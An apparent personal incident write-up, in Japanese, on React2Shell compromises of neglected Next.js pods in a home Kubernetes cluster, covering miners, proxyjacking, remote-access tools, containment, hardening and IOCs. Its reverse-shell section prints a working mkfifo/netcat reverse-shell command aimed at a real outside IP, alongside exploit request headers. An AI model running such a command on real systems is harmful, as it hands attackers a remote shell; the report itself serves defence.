放置していた旧環境で見つけたReact2Shell攻撃の実態

46 min read

はじめに

私は自宅でKubernetesクラスタやゲームサーバー、いくつかのWebアプリケーションを運営しています。普段使う機能は新しいシステムへ移していましたが、旧Kubernetes環境の一部は止めず、インターネットに公開したまま残していました。使わなくなるにつれて、依存パッケージの更新や監視もしなくなっていました。

旧環境には攻撃が繰り返し届き、気づかないうちにハニーポットのような状態になっていました。侵入後のプログラムも止まらず、CPUと回線を使い続けていました。

異変に気づいたきっかけは、同じKubernetesワーカーノードで動くゲームサーバーのラグでした。ワーカーノードには5,507個のゾンビプロセスがたまり、system CPUは約90%、load averageは約138まで上がっていました。

ホスト上でプロセスの親子関係をたどると、大量のプロセスはnext-serverの下で起動していました。cgroupからPodを特定し、負荷を出していたPodを止めると、ゾンビプロセスとsystem CPUは一気に減りました。そこから、コンテナの書き込み層、外向き通信、公開プロキシのログを順に調べました。

結果、旧環境では、3つのNext.jsワークロードが侵害されていました。1つはCPUを使い潰され、1つは回線の収益化と遠隔操作に使われ、もう1つにはリバースシェルが残っていました。

本稿では攻撃の内容とその対策について記載します。

※2026年7月25日までに保存できたアクセスログ、コンテナの書き込み層、実行中のプロセス、通信状況を基にまとめています。調査前に消失した記録は確認できていません。掲載するIPアドレスやドメインは観測時点の接続先であり、現在も悪用されていることや、登録者が攻撃に関与したことを示すものではありません。

前提

今回の環境

対象は、個人で運用していた旧Kubernetesクラスタです。コントロールプレーン1台、ワーカー2台で構成し、PodネットワークにはKube-OVNを使っていました。侵害された3つのNext.jsワークロードは同じワーカー上で動いていました。このワーカーにはゲームサーバーも同居しており、Podの負荷がゲームのラグとして表面化しました。

項目 構成
Kubernetes コントロールプレーン1台、ワーカー2台
CNI Kube-OVN
対象アプリケーション Next.js 15.1.0または15.3.3を使う3つのワークロード
公開経路 公開用リバースプロキシVMのHAProxyから、CaddyまたはKube-OVN LoadBalancerへ転送
同居サービス 同じワーカー上のゲームサーバー

公開経路はアプリケーションによって2種類ありました。

Internet
  └─ 公開用リバースプロキシVM
       └─ HAProxy
            ├─ Kube-OVN LoadBalancer
            │    └─ ingress-nginx
            │         └─ Next.js Pod
            └─ Caddy
                 └─ Next.js Pod

PodはKube-OVNのVPC内にあり、ワーカーやコントロールプレーンの管理ネットワーク、他VPCとは分離。インターネットへの外向き通信は許可。

Podはprivilegedではなく、hostPIDhostNetworkも無効。ホストのマウント名前空間は共有せず、hostPathやPVCもマウントなし。 CPUを占有していたPodは非rootユーザーで動作し、追加のLinuxケーパビリティなし。

本文中の時刻は、特記がない限りUTCです。

React2Shellとは

React2Shellは、React Server Componentsの処理を悪用し、認証なしでサーバー上のコードを実行できる脆弱性です。React側ではCVE-2025-55182、Next.js側ではCVE-2025-66478として公開されています。

今回侵害されたアプリケーションは、App Routerを使うNext.js 15.1.0または15.3.3で動いていました。どちらもReact2Shellの影響を受けるバージョンです。

React Server Componentsへの入力は、multipart形式のリクエストとしてサーバー側で処理されます。React2Shellはその処理を悪用します。調査では、Next-Actionを伴うmultipart形式のPOSTと、その直後に起きたnext-server配下の変化を追いました。5月12日には、POSTを受けた17秒後にnext-serverの子プロセスが起動し、ELFが配置されていました。

攻撃の内容

3つのワークロードには、目的の異なるプログラムが置かれていました。以降は、それぞれをA、B、Cと呼びます。

呼称 主な被害
A CPUを占有するELFと大量のゾンビプロセス
B TraffMonetizer、Global Socket、遠隔管理ツール
C 再作成前のELFと、再作成後のリバースシェル

公開ホストへの無差別なスキャン

攻撃方法: 脆弱性スキャン/脆弱性を悪用した不正アクセス

この攻撃は一般的に、対象のホストやアプリケーションが特定の脆弱性を持つかを機械的に調べる「脆弱性スキャン」と、インターネットへ公開されたアプリケーションの弱点を悪用して侵入する「公開アプリケーションの悪用」に分けられます。脆弱性スキャンではソフトウェアの種類やバージョン、応答内容などから悪用可能性を調べ、脆弱性の悪用ではソフトウェアの欠陥や設定不備を利用して初期アクセスを得ます(MITRE ATT&CK: T1595.002 Vulnerability ScanningMITRE ATT&CK: T1190 Exploit Public-Facing Application)。

React2Shellを狙うPOSTは/だけでなく、/api/dashboard、言語別パスなどにも送られていました。

POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 2206
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data;
  boundary=----WebKitFormBoundaryHitTheGas
Content-Length: 131879

User-AgentはWindows、macOS、Linux、iPhoneなどを装っていました。同じ公開プロキシ配下では、Next.js以外のバックエンドにも同じ形式のPOSTが届いています。特定のアプリケーションを狙った形ではなく、外部から応答する公開先へ順番に投げていたようです。

同じ形式のPOSTは、Next.js以外を含む少なくとも7つの公開アプリケーションへ届いていました。React2Shellとは別に、LeakIXのl9scanも3,652件ありました。攻撃側はアプリケーションの用途を見ず、外部から応答するホストを機械的に試していました。

Ingressのアクセスログが残る4月16日から7月25日までの間に、既知の攻撃形式と一致または類似するPOSTを14,813件抽出しました。リクエストサイズなどを使った集計なので、正常なPOSTが含まれている可能性があります。14,813件すべてが侵害に成功したという意味ではありません。

リクエストサイズ 件数 観測期間 特徴
1,579バイト 580 04-16〜07-24 Chrome 142偽装
2,065バイト 4,287 05-12〜06-18 Chrome 112偽装
57,303バイト 3,352 05-12〜07-25 05-12の事例でELF配置と17秒差
57,313バイト 413 06-17〜06-21 短期間に集中
2,716バイト 1,429 06-18〜07-24 2,206バイトのbodyを使う形式
56,955バイト 1,962 06-21〜07-25 約71分周期、2件連続が多い
65〜70KB 2,677 04-16〜07月 User-Agentとパスを変化
130〜136KB 113 04-16〜07月 HitTheGas形式

この件数だけでは、どのPOSTが侵害に成功したかは分かりません。5月12日のログでは、57,303バイトのPOSTを受信した17秒後にnext-serverの子プロセスが起動し、同じ時刻に/tmp/dev/shmへELFが配置されていました。

2026-05-12T08:42:32.767717221Z "<lb-ip> POST / HTTP/1.1" 303 ... 2065 ... <pod-ip>:3000
2026-05-12T08:42:33.283763683Z "<lb-ip> POST / HTTP/1.1" 303 ... 2065 ... <pod-ip>:3000
2026-05-12T08:47:53.316613353Z "<lb-ip> POST / HTTP/1.1" 303 ... 57303 ... <pod-ip>:3000
2026-05-12T08:47:53.623768811Z "<lb-ip> POST / HTTP/1.1" 303 ... 57303 ... <pod-ip>:3000
時刻(UTC) 動き
08:42:32 2,065バイトのPOST /を2件受信
08:47:53 57,303バイトのPOST /を2件受信
08:48:10 next-serverの下で不審なプロセスが起動
08:48 /tmp/dev/shmへ同一ハッシュ値のELFを配置

アクセスログのステータスは303でした。しかし、303だけではコード実行に成功したかどうかは分かりません。手掛かりになったのは、その17秒後にnext-serverの子プロセスが起動し、同じ時刻のELFが残っていたことです。

該当するリクエスト本文は残っていませんでした。対象が脆弱なバージョンだったこと、React2Shell形式のPOSTを受信したこと、その17秒後にnext-server配下で不審なプロセスが起動し、ELFが配置されたことまでは確認できました。POST内で実行されたコマンドが事実として残っています。

ペイロードの取得と実行

攻撃方法: コマンド実行/マルウェアの取得と実行

この攻撃は一般的に、侵害したサーバー上でシェルやOSコマンドを実行し、外部のシステムから追加のスクリプトや実行ファイルを持ち込んで起動する手法です。OSコマンドを不正に実行されると、ファイルの閲覧や改ざん、不正なプログラムのダウンロードと実行、バックドアの設置などが行われる可能性があります(IPA: 安全なウェブサイトの作り方-OSコマンド・インジェクションMITRE ATT&CK: T1059.004 Unix ShellMITRE ATT&CK: T1105 Ingress Tool Transfer)。

侵入後は、Next.jsからいきなり攻撃的なプログラムを起動していたわけではありません。まずシェルを動かし、外部から取得したファイルを/tmp/dev/shmへ置いてから実行する形式でした。

ワークロードBでは、shがbase64文字列を復号し、その内容を別のshへ渡して/tmp/XX*を実行していました。

sh
  -> base64
    -> sh
      -> /tmp/XX*

ファイルの取得にはwgetとBusyBoxのssl_clientが使われていました。curlがないコンテナでも、ssl_clientとシェルを組み合わせればHTTPS通信が可能です。

/tmp/XX*へ置かれたELFは3,265,176バイトで、UPXで圧縮されていました。同じハッシュ値のファイルが、3月26日から4月1日にかけて異なる名前で繰り返し配置されていました。

ワークロードAでは、5,496,348バイトのELFが/tmp/dev/shmへ展開されました。こちらも同じハッシュ値のままファイル名を変え、5月12日、6月16日、6月17日に置き直されていました。

CPUの乗っ取り

攻撃方法: コンピュートハイジャッキング(Compute Hijacking)

この攻撃は一般的に「コンピュートハイジャッキング」と呼ばれ、侵害したサーバーやコンテナのCPU・GPUなどの計算資源を、暗号資産の採掘をはじめとする攻撃者側の処理へ無断で使用する手法です。計算資源を大量に消費するため、対象システムの処理遅延や応答不能を引き起こす場合があります(MITRE ATT&CK: T1496.001 Compute Hijacking)。

ワークロードAでは、next-serverの下でランダムな名前のプロセスが次々と生まれていました。実行ファイルは同じハッシュ値のELFですが、systemd-udevdkworkerに似せた名前で/tmp/dev/shmへ何度も配置されていました。

/tmp/.data.bin
/tmp/.config.json
/tmp/.kworker/.data.bin479
/tmp/.systemd/.rcu_bh
/dev/shm/.data.bin349
/dev/shm/.systemd-udevd
/dev/shm/.ksoftirqd-0833

実行中のプロセスには、次の特徴がありました。

  • donate-levelを含む引数
  • 削除済みの/tmp/memory_load.x86_64から動くプロセス
  • CPUの継続的な使用
  • pkill -fによる競合プロセスの停止
  • systemdkworkerに似せた実行名

donate-levelは暗号資産の採掘プログラムで使われる引数です。CPUを使い続け、競合するプロセスを停止する挙動も、採掘系マルウェアでよく見られます。

ワークロードAでは約4,600個、ワークロードBでは906個のゾンビプロセスがnext-serverの下に残っていました。ゾンビプロセス自体はCPUを使いません。負荷を生んでいたのは、プロセスがゾンビとして残る前に繰り返された大量のforkexec、終了処理、シグナル処理です。

実際に、pkill -f ssl_clientなどを繰り返すプロセスも動いていました。

React2Shellを悪用してXMRigを設置する攻撃は、JPCERT/CCとGoogle Threat Intelligence Groupからも報告されています。

今回のELFが暗号資産マイナー本体なのか、ローダーなのかは特定できませんでした。XMRig固有の文字列、マイニングプール、ウォレットアドレスも見つかりませんでした。Podを止めた直後に負荷が大きく下がったため、このELFがCPUを使っていたことまでは確認できまています。

6月16日にELFが置き直された時刻には、対応する新しいPOSTがありませんでした。残っていたスクリプトが再実行したのか、遠隔操作の経路を通じて配置されたのかまでは判明していません。

回線の収益化

攻撃方法: プロキシジャッキング(Bandwidth Hijacking)

この攻撃は一般的に「帯域ハイジャッキング」と呼ばれ、そのうち侵害した端末のネットワーク帯域とIPアドレスをプロキシサービスへ提供して攻撃者が報酬を得る手法は「プロキシジャッキング」と呼ばれます。被害を受けた側の回線やIPアドレスが、第三者の通信やインターネット上の探索などに無断で使われます(MITRE ATT&CK: T1496.002 Bandwidth Hijacking)。

ワークロードBでは、crond-syncという名前でTraffMonetizerクライアントが動いていました。バイナリにはblnc.traffmonetizer.combandwidthbalancebillingなどの文字列があり、64.34.83.195:769へ接続していました。起動引数はstart accept --token形式です。

TraffMonetizerは、端末の回線を他者に提供して報酬を受け取る正規サービスです。このコンテナでは、管理者が発行していないトークンで起動され、攻撃者が報酬を得るためにサーバーの回線が使われていました。

外部からの遠隔操作

攻撃方法: バックドア/Remote Access Tool(RAT)

この攻撃は一般的に、侵害後も外部から操作できる通信経路を残す「バックドア」、または遠隔操作・遠隔管理ツールを攻撃者が悪用する「Remote Access Tool」として説明されます。これらの経路は、対話的なコマンド実行、ファイル操作、通信トンネルの作成などに使われ、侵入時とは別の遠隔操作手段になります(IPA: 遠隔操作ソフト(アプリ)を悪用される手口に気をつけて!MITRE ATT&CK: T1219 Remote Access Tools)。

同じワークロードBでは、terminate-engineterminate-helperという名前でGlobal Socketが動いていました。バイナリにはgs-mountgs-sftpGSRNSOCKSinteractive shellといった固有の文字列があり、terminate-engine212.132.98.170:443へTLS接続を確立していました。

Global Socketは、NATやファイアウォールの内側から外部へトンネルを張れる正規ツールです。JPCERT/CCのReact2Shell事例では、共有シークレットと中継ネットワークを使い、外部からbashを操作するバックドアとして悪用されています。

さらに、crond-helperという遠隔管理ツールも設置されていました。

{
  "access_key": "[REDACTED]",
  "log_level": "fatal",
  "enable_terminal": true,
  "enable_files": true,
  "enable_metrics": true,
  "auto_update": true,
  "hide": true
}

設定ファイルでは、遠隔からのターミナル操作、ファイル操作、自動更新、ツールの隠蔽が有効になっていました。

遠隔管理ツールは複数の外部アドレスへHTTPS接続していました。

プロセス 接続先 内容
terminate-engine 212.132.98.170:443 Global Socketの中継サーバー
crond-helper 104.16.132.229:443など Cloudflareの共有アドレス
crond-helper 47.131.179.185:443 遠隔管理ツールの接続先
crond-helper 54.251.8.68:443など 遠隔管理ツールの接続先

接続先には共有CDNも含まれているため、IPアドレスだけを見てC2サーバーとは判断できません。Podを止めると、これらの通信はすべて消えました。

crond-helperと起動スクリプトは5月24日、Global Socketは6月17日、TraffMonetizerは6月21日、遠隔管理ツールの設定ファイルは6月25日に追加されていました。同じコンテナへ、異なる機能が日を分けて追加されていました。

リバースシェル

攻撃方法: リバースシェル(Reverse Shell)

この攻撃は一般的に「リバースシェル」と呼ばれ、侵害されたシステム側から外部の接続先へ通信を開始し、そのソケットへシェルの入出力を接続する手法です。外向き通信を使ってネットワーク越しのシェルを作ることで、攻撃者は侵害後に任意のコマンドを実行できるようになります(Google Cloud: Reverse ShellJPCERT/CC: Linuxルーターを狙ったGo言語で書かれたマルウェアGobRAT)。

ワークロードCでは、next-serverの子プロセスとして次のコマンドが動いていました。

next-server
  └─ /bin/sh -c rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 103.149.253.59 4448 >/tmp/f
       ├─ cat /tmp/f
       ├─ /bin/sh -i
       └─ nc 103.149.253.59 4448

mkfifoで作った/tmp/fを介して対話シェルをnetcatへつなぐリバースシェルです。FIFOの更新時刻とプロセスの開始時刻は、どちらも3月25日12時44分19秒(UTC)でした。7月25日にもプロセスとFIFOは残っていました。

CLOSE-WAIT 172.31.0.31:44469 -> 103.149.253.59:4448

CLOSE-WAITは、接続相手が切断した後もローカルプロセスがソケットを閉じていない状態です。7月25日まで攻撃者が操作できたことを示すものではありません。121日間残っていたのは、リバースシェルのプロセスとFIFOです。

ワークロードCのPodは途中で再起動し、コンテナが再作成されていました。再作成前のコンテナ書き込み層には、3月24日16時48分22秒(UTC)に/tmp/XXgdpCBCが置かれていました。ハッシュ値はワークロードBの/tmp/XX*と同じです。その直後、アプリケーションログにはtee: /etc/hosts: Permission deniedが4件残り、コンテナは16時48分40秒に終了コード137で停止しました。

また、自動再作成後のコンテナにも、翌3月25日にリバースシェルが設置されていました。

Instance Metadata Serviceへの接続試行

攻撃方法: Instance Metadata Serviceへのアクセス試行

この攻撃は一般的に、クラウド環境のInstance Metadata Serviceへアクセスし、インスタンス情報や一時的な認証情報などを取得しようとする手法です。主要なクラウド環境では、メタデータAPIの接続先として169.254.169.254が広く使われています(MITRE ATT&CK: T1552.005 Cloud Instance Metadata API)。

kworkerを装ったプロセスは、169.254.169.254:80へ大量のSYNを送っていました。169.254.169.254は、多くのクラウド環境でInstance Metadata Serviceに使われるアドレスです。

通信はSYNの送信で止まり、HTTP応答には進んでいませんでした。Instance Metadata Serviceへ接続しようとしていましたが、情報の取得には至っていないようです。

正規プロセスに似せた名前

攻撃方法: プロセス偽装(Masquerading)/実行ファイルのパッキング

この攻撃は一般的に、悪性のファイルやプロセスへ正規のプログラムに似た名前や配置場所を与える「偽装」と、実行ファイルを圧縮・暗号化して内容やファイルシグネチャを変える「パッキング」に分けられます。どちらも、利用者やセキュリティ製品による発見、シグネチャ検知、解析を難しくする目的で使われます(MITRE ATT&CK: T1036 MasqueradingMITRE ATT&CK: T1027.002 Software Packing)。

攻撃に使われたプロセスとファイルは、systemdのサービスやカーネルスレッドに見える名前へ偽装されていました。

  • systemd.service
  • systemd-udevd
  • npm_update
  • syslog-ng-abc1c
  • kworker
  • ksoftirqd
  • dev bin
  • ランダムなXX*

いずれも本物のsystemdサービスやカーネルスレッドではなく、コンテナ内で動くユーザー空間のELFです。主要なELFはUPXで圧縮され、ファイル名の偽装とパッキングの両方で解析しにくくなっていました。

複数の攻撃活動が重なっていた

Caddyのアクセスログ、コンテナのファイル時刻、プロセスの開始時刻を並べると、攻撃試行は2月から、侵入後の活動は3月24日から続いていました。

時期(2026年、UTC) 活動
02-07 React2Shell形式の大容量POSTを受信
03-24 ワークロードCの再作成前コンテナへELFを配置
03-25 リバースシェルを設置
03-26〜04-01 /tmp/XX*を繰り返し配置
05-01 base64で隠したシェルスクリプトを実行
05-12 POSTの17秒後にCPUを占有するELFを配置
05-24 遠隔管理ツールと起動スクリプトを配置
06-17 Global Socketを起動
06-21 TraffMonetizerを起動
06-25 遠隔管理ツールの設定ファイルを作成
07-25 ゲームサーバーのラグをきっかけに侵害を発見

POSTのサイズ、送信周期、multipart boundary、User-Agentの作り方には複数のパターンがあり、配置されたプログラムや活動時期も一致しません。同じ脆弱な公開環境に、別々の攻撃が重なっていたとみています。

発見と封じ込め

侵害の発見後、最初に公開ドメインをDNSから削除しました。DNS名を使って公開アプリケーションへ到達する経路はなくなりましたが、Global SocketやTraffMonetizerはコンテナから外部へ接続するため、そのまま動き続けました。

次に、侵害されたDeploymentとStatefulSetをreplicas: 0にしました。負荷を発生させていた2つのPodを止めると、ゾンビプロセスは0になり、Global Socket、TraffMonetizer、Instance Metadata Serviceへの接続試行に伴う外向き通信も止まりました。リバースシェルが残っていたワークロードCのPodも停止しました。

項目 停止前 CPU占有Pod停止後 回線収益化Pod停止後
プロセス数 6,691 1,772 848
ゾンビプロセス 5,507 906 0
system CPU 約90% 約1% 平常
load average 約138 2.02 平常

表の値は、各Podの停止直前と停止直後に取得しました。DNSの削除で新たなHTTP攻撃の経路は閉じましたが、既に動いていた不審なプロセスと外向き通信が止まったのは、replicas: 0にした後です。

考察

次の図は、複数のワークロードと時期に残っていた証拠から、共通する流れをまとめたものです。別々の事例を一つにまとめているため、単一の攻撃者がすべてをこの順番で実行したという意味ではありません。

公開されたままの旧Next.js
  ↓ React2Shell形式のPOST
next-serverの権限でシェルを実行
  ↓ wget・ssl_clientでファイルを取得
/tmp・/dev/shmへスクリプトやELFを配置
  ├─ CPUとPIDを消費
  ├─ TraffMonetizerで回線を収益化
  ├─ Global Socket・RAT・リバースシェルで遠隔操作
  └─ Instance Metadata Serviceやコンテナ外への経路を探索

なぜ侵入されたのか

侵入口はReact2Shellだったと判断しています。影響を受けるNext.js 15.1.0と15.3.3が未更新のまま公開され、React2Shell形式のPOSTを受信した17秒後にnext-serverの子プロセスが起動し、ELFが配置されるまでを連続して確認できたためです。

同じ形式のPOSTは、同じ公開プロキシ配下の別アプリケーションにも届いていました。旧環境が個別に狙われたのではなく、公開ホストへ広く送られた攻撃が、未更新のまま残っていた環境に到達した形です。

使わなくなった環境を放置していたことが主原因です。更新と監視から外したのに、公開経路を残したままにしていました。

侵入後はどの経路を通ったのか

5月12日のログでは、React2Shell形式のPOSTから17秒後にnext-serverの子プロセスが起動し、/tmp/dev/shmへELFが置かれました。ワークロードBでは、シェルがbase64文字列を復号し、wgetやBusyBoxのssl_clientで取得したファイルを実行していました。RCEを起点に、コンテナ内で追加のプログラムを取得・実行する段階へ進んでいました。

侵入後の目的は様々なようです。CPUや回線を収益化する活動、HTTPとは別の遠隔操作経路を残す活動、Instance Metadata Serviceやコンテナ外への経路を探る活動が確認されています。POSTの形式、配置されたプログラム、活動時期も異なり、同じ脆弱な入口が繰り返し悪用されていました。

外向き通信を制限していなかったことも、被害を広げた原因です。ペイロードの取得、TraffMonetizer、Global Socket、遠隔管理ツール、リバースシェルは、どれもコンテナからインターネットへ接続できたため動いています。入口になる公開経路だけでなく、侵入後にコンテナから外へ出る通信も止める必要がありました。

どこまで進み、どこで止まったのか

RCEでアプリケーション内には侵入されましたが、Pod外までは進めない構成でした。PodはKube-OVNのVPCにあり、他VPC、管理ネットワークから分離されていました。また、Podはprivilegedではなく、ホストの名前空間も共有せず、hostPathもマウントしていなかったため、コンテナ内に作られたauthorized_keysなどの悪性ファイルはワーカーのファイルへ届くことはありませんでした。

ServiceAccountのトークンはコンテナから利用できましたが、RBACではSecretの取得やワークロードの変更を許可していません。

hostPathや過剰なRBAC権限を与えていなかったことは、コンテナ外へ進む際の防壁になっていました。

リソース制限については足りませんでした。侵害されたPodが同じワーカーのCPUやPIDを使い、ホスト内の他のVMやPodに影響が出ました。

なぜ発見まで時間がかかったのか

侵入後の活動は3月24日から確認できますが、発見は7月25日でした。旧環境を監視対象から外していたため、CPU、プロセス数、外向き通信の異常を通知する仕組みがありませんでした。

今回はたまたま旧環境で動かしていたゲームサーバーを利用する人がおり、ラグいという報告があり気が付くことができました。しかし、この報告がなければ、発見はさらに遅れていた可能性があります。

HAProxyのアクセスログ、Kubernetes Audit Log、ネットワークの通信ログ、ホストの監査ログも十分に残っていませんでした。

対応が必要な場所

パッチを当てて侵入口を閉じるだけでは終わりません。侵害済みPodに残ったプログラムの削除や、外向き通信を制限、認証情報の変更なども必要になります。

今回の事例で見えた課題を、防御策ごとに整理します。

今回確認した不足・リスク 対応する防御
脆弱な旧環境と公開経路が残っていた 公開資産の棚卸しとパッチ適用
RCE後にファイル配置とプロセス実行ができた 侵入後に使える権限と書き込み先の制限
外向き通信によりペイロード取得と遠隔操作が成立した 外向き通信の制御とInstance Metadata Serviceの遮断
ServiceAccountのトークンがコンテナから利用可能だった トークンの自動マウント停止と最小権限RBAC
CPUとPIDが同居サービスへ影響した CPU・メモリ・PIDの制限
異常の発見と事後調査が遅れた アラート、監査ログ、通信記録、ランタイム検知
侵入後のプログラムが残った 隔離、再構築、認証情報の変更

対応

ここからは、侵入前、侵入後、復旧の順に対策を整理します。

1. 公開資産を棚卸しし、侵入口を塞ぐ

公開しているアプリケーションや利用している機器などはすべて棚卸しておきましょう。私自身、新システムではNetBoxを利用して管理を行っていましたが旧システムは面倒でやりませんでした。

NIST Cybersecurity Framework 2.0のAsset Managementでも、ハードウェア、ソフトウェア、システム、サービスの一覧を維持し、ライフサイクル全体で管理することが挙げられています。

React2Shellへの対応は、Next.jsの公式アドバイザリに従って影響を受けないバージョンへ更新します。15.1系では15.1.9以降、15.3系では15.3.6以降が修正版です。

2. コンテナ内の権限と書き込み先を制限する

KubernetesのPod Security StandardsにはPrivilegedBaselineRestrictedの3段階があります。通常のWebアプリケーションではRestrictedを基準とし、Pod Security Admissionをnamespace単位でenforceすれば、過剰な権限を持つPodの作成を防ぐことができます。

今回のようなWebアプリケーションなら、まず次のsecurityContextを設定します。readOnlyRootFilesystemを有効にする場合は、アプリケーションが書き込むディレクトリへemptyDirなどを別途マウントします。

securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop:
      - ALL
  seccompProfile:
    type: RuntimeDefault

この設定でRCEそのものは防げませんが、侵入後に使えるシステムコール、Linuxケーパビリティ、書き込み先を減らせます。hostPIDhostNetworkhostPath、privilegedコンテナは、用途が明確なPodだけに限定します。

3. 外向き通信とInstance Metadata Serviceへの経路を閉じる

外向き通信は原則拒否し、DNS、必要なAPI、明示した外部サービスだけをNetworkPolicyで許可します。NetworkPolicyを設定しても、CNI側で強制できなければ効きません。

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-egress
spec:
  podSelector: {}
  policyTypes:
    - Egress

このポリシーはDNSも遮断するため、名前解決が必要なPodではクラスタDNSだけを別のルールで許可します。169.254.169.254/32などのInstance Metadata Serviceも遮断対象です。今回確認したペイロード取得や外部からの遠隔操作の多くは、この制御で遮断できます。KubernetesのSecurity Checklistでも、全ワークロードへの内向き・外向き通信ポリシーと、metadata APIへのアクセス制限が挙げられています。

4. ServiceAccountとRBACを最小限にする

Kubernetes APIを使わないPodには、ServiceAccountのトークンをマウントしません。

spec:
  automountServiceAccountToken: false

Kubernetes APIが必要なアプリケーションには専用ServiceAccountを作り、対象namespace、リソース、操作を必要最小限に絞ります。長期間有効な静的トークンではなく、有効期限と利用先が制限されたトークンを使います。Podを侵害されても、トークンの権限が小さければクラスタ内へ広がりにくくなります。KubernetesのSecurity Checklistでも、不要なServiceAccountトークンをマウントしないことが推奨されています。

5. CPU・メモリ・PIDを制限する

CPUとメモリにコンテナごとのrequestslimitsを設ければ、侵害されたPodが同居するサービスの資源まで使い潰す事態を抑えられます。

resources:
  requests:
    cpu: 100m
    memory: 128Mi
  limits:
    cpu: 500m
    memory: 512Mi

値は例です。通常時とピーク時の実測から決め、LimitRangeResourceQuotaも併用すれば、namespace単位で設定漏れを防げます。

CPUとメモリの制限だけでは、大量のforkによるPID枯渇を止められません。今回のようなプロセス数の急増には、kubeletのpodPidsLimitも必要です。systemReservedkubeReservedを併用すれば、ノードとKubernetesのデーモンが使うPIDも確保できます。

apiVersion: kubelet.config.k8s.io/v1beta1
kind: KubeletConfiguration
podPidsLimit: 512

512は例です。通常時のプロセス数を測り、ワーカーの用途に合わせて余裕のある値を決めます。

6. 異常を検知し、調査に必要な記録を残す

メトリクスとアラート

ダッシュボードを眺めるだけでは、今回のような異常を見落とします。CPU使用率、ロードアベレージ、プロセス数、ゾンビプロセス数、OOM、Podの外向き通信量を継続して集め、通常時から外れた状態が続いたら通知するようにします。

Prometheusでメトリクスを収集し、Grafanaで可視化、Alertmanagerで通知する構成がKubernetesでは一般的だと思います。Zabbixなどを利用するのも良いと思います。

今回の事例では、次の項目が検知に使えます。

観測項目 アラートにする変化
ノードのsystem CPUとロードアベレージ 高負荷の継続、CPU数を大きく超えるロードアベレージ
プロセス数とゾンビプロセス数 短時間での急増
メモリ圧迫とOOM OOMの発生、空きメモリの急減
Pod別のCPU、メモリ、送信量 通常時からの急増
コンテナの再起動 短時間の再起動、終了コード137
Ingress・Caddy・HAProxy Next-Actionを伴う大容量POST、リクエスト数の急増
外向き接続 未許可のIP、中継サーバー、Instance Metadata Serviceへの接続
Kubernetes API Secret取得、pods/exec、RBAC変更

node_exporterで取れるのは、LinuxホストのハードウェアとOSのメトリクスです。シェルの起動、/tmp/dev/shmからの実行、コンテナイメージに含まれないELFの実行までは区別できません。 今回のような攻撃を検知するにはFalcoなどのランタイム検知で補います。Falcoの標準ルールには、コンテナへ持ち込まれたバイナリや/dev/shm上のファイルの実行を検知するものがあります。

調査できるログを残す

複数のプロキシを経由する構成では、元のクライアントIPを後段まで引き継げるように設定したほうが良いです。TCPではPROXY protocol、HTTPではX-Forwarded-Forを利用できます。信頼するプロキシを限定し、アクセスログを出力するプロキシまたはアプリケーションまでクライアントIPを渡せば、攻撃元の調査に使えます。HAProxyとCaddyの公式資料に設定方法が示されています。

アクセスログには、送信元IP、Host、パス、ステータス、リクエストサイズ、User-Agent、転送先、接続時間を残します。

Kubernetes Audit Logに、少なくともSecret、ServiceAccount、Role・RoleBinding、Pod、Deployment、StatefulSet、pods/execへの操作を残しておけば、コンテナからクラスタへ進もうとした動きを後から追えます。監査ポリシーでは、メタデータだけを残すMetadata、リクエスト本文まで残すRequestなど、リソースごとにレベルを選べます。Secretの値まで監査ログへ複製しないよう、機密リソースはMetadataに留めるのが適切です。

ネットワーク側に通信記録があれば、どのPodがどこへ接続したかを後から追跡できます。ホストではauditdまたはランタイム検知のイベントが手掛かりになります。これらのログは侵害されたノードとは別の場所へ転送し、調査に必要な期間を決めて保持します。

7. 隔離し、信頼できる状態へ戻す

侵害された場合、プロセス情報、通信状況、コンテナの書き込み層、関連ログを保存し、すぐにワークロードを隔離します。Kubernetesでは隔離用のNetworkPolicyを適用できます。サービスを止められる状況なら、DeploymentやStatefulSetをreplicas: 0にしてPodを停止します。

封じ込めた後は、影響を受けたホストとサービスを洗い出し、侵入口と永続化の仕組みを取り除きます。NIST SP 800-61 Rev. 3も、封じ込め後にすべての影響対象を特定し、悪用された脆弱性と永続化を取り除く流れを示しています。

侵害されたコンテナは、不審なファイルだけを削除して再利用せず、信頼できるベースイメージと依存関係からビルドし直します。ホスト侵害の疑いが残る場合は、ワーカーノードも信頼できるイメージから再構築します。

Podからアクセスできた認証情報、アプリケーションのSecret、セッション署名鍵も変更します。Next.jsの公式アドバイザリも、未修正の状態で公開されていたアプリケーションについて、パッチと再デプロイ後にアプリケーションのSecretをローテーションするよう勧めています。

おわりに

今回の侵害は、使わなくなった旧環境の公開経路を残していたことから始まりました。めんどくさがらずに利用しなくなった機器は停止させましょう。(自戒) 特にエンプラな環境ではなく、個人環境だったこともあり、管理が雑になっていました。

また、不正アクセス禁止法第8条は、アクセス管理者に対して、識別符号の適正な管理、アクセス制御の有効性の確認、必要に応じた機能の高度化などに努めるよう定めています。 罰則ではなく、防御措置についての努力義務だそうです。

自宅サーバーも、インターネットに公開されている限り、攻撃者から見れば稼働中の標的です。家庭内の回線だからといって、被害が自分の環境だけで終わるとは限りません。IPAも、乗っ取られた家庭用ネットワーク機器が第三者への攻撃の中継点となり、結果として攻撃に加担するおそれを挙げています。

これを読んでくださった自宅サーバー勢の方々はこの際、動かしているものだけでなく、忘れているものまで棚卸してみてはいかがでしょうか。

付録

IOC

接続先には中継サーバー、正規サービス、共有CDN、探索先が含まれます。いずれもHTTP攻撃の侵入元IPではなく、IPアドレス単独で悪性とは判断できません。

種別 用途
SHA-256 ff990066f7860be6f2893550e58c0ab485c330edc8a4a55a289557004eb9ef99 CPUを占有したELF
SHA-256 bdb1991d4c6577c48379d9761a47728211eb6d156e8561fe02091ef9eb01510e /tmp/XX*へ置かれたUPXで圧縮されたELF
SHA-256 3d20954cfb7e27be415a74f59bc3b9adad57b3de6362673cadb7629524642c60 TraffMonetizer
SHA-256 df6a1c285344d633469e9137cd8e0f0b878443561f24e462a08a0954eaf725bf Global Socket
SHA-256 4f13658749cabea30065af4356cc16b8f1cd46f88b7a721b663bb5109a7a98be 遠隔管理ツール
